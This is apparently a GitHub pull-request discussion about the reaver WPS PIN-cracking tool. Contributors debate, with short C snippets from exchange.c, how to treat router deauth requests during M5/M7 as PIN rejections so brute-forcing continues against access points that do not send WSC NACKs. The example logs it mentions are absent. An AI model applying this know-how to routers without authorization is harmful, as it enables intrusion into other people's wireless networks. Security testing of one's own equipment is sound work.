Treat the timeout as NACK if receive deauth request while waiting for M5/M7 #372
Conversation
| * Treat the timeout as NACK if receive deauth request while waiting for M5/M7. | ||
| */ | ||
| else if (deauth_flag && (last_msg == M3 || last_msg == M5) && get_deauth_is_nack()) { | ||
| ret_val = KEY_REJECTED; |
There was a problem hiding this comment.
if we set this to REJECTED, wouldn't it mean that even though the pin could be correct when router sends deauth, next pin will be tried ?
There was a problem hiding this comment.
Analyzing the first example this can happen, so the -D option is optional. We can override the -D option if we receive WSC NACK like the -J option.
/* in exchange.c */
if(got_nack)
{
/*
* If a NACK message was received, then the current wps->state value will be
* SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the
* previous state to see what state we were in when the NACK was received.
*/
if(last_msg == M3 || last_msg == M5)
{
/* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */
set_timeout_is_nack(0);
set_deauth_is_nack(0); /* override here */
ret_val = KEY_REJECTED;I still can't know much about the behavior of these routers to have better treatment because I don't have access to it, WPS Lock and I still don't know the first half PIN.
There was a problem hiding this comment.
ah, sorry that i didn't mention it earlier, but my idea was not to introduce another command line option, but to always Do The Right Thing, in which case this behaviour would need to be fine-tuned
There was a problem hiding this comment.
With WPS 2.0, it can't determine whether or not router sends deauth request instead of NACK in just a few attempts because the WPS LOCK.
The solution I thought would be to store the count of receiving deauth request without NACK in .wpc file.
If after 10 count, for example, not received any NACK then it can consider router sends deauth request instead of NACK.
The count starts with 0, increments with each deauth request without NACK, if receive NACK then store -1 that represents router sends NACK and ignore deauth request treatment.
| } | ||
| else | ||
| { | ||
| /* If we timed out at any other point in the session, then we need to try the pin again */ | ||
| ret_val = RX_TIMEOUT; | ||
| } | ||
| /* Got timeout instead of an M5 message when cracking second half */ | ||
| if (ret_val == KEY_REJECTED && !get_pin_string_mode() && last_msg == M3 && get_key_status() == KEY2_WIP) { |
There was a problem hiding this comment.
what about deauth after/before M1 ?
There was a problem hiding this comment.
Analyzing the first example, deauth can appear in many steps, so if received before M1 or after M1 and before M3 also leave it as it is because after timeout reaver will restart the attempt.
feitoi
force-pushed
the
PR-feitoi
branch
2 times, most recently
from
1c28ca1
to
f1cf73a
Compare
Automatically treat the timeout as NACK if receive deauth request while waiting for M5/M7 when deauth_is_nack_count >= MAX_DEAUTH_IS_NACK_COUNT and it have never received WSC_NACK. The count value is stored in .wpc file, the -1 equal the AP sends NACK.
|
After many observations, if receive deauth request before M3 then ends WPS transaction sending WSC_NACK and restart the attempt. |
I've already analyzed several situations with deauth request, it appears after
Sending identity response,Sending M2 message,Sending M4 message,Sending M6 message, sometimes also receiveWSC NACKafter receivedeauth request. Later I tested with routers with PIN already cracked and noticed that some routers are not sending WSC NACK instead of deauth request. With this knowledge I think it is possible to treat deauth request after Sending M4 message or Sending M6 message and got timeout as WSC NACK with new option -D to treatdeauth requestasWSC NACKsee an example with modified reaver with message count and PIN not cracked yet:
Example with half PIN:
Example with full PIN:
see an example without PIN: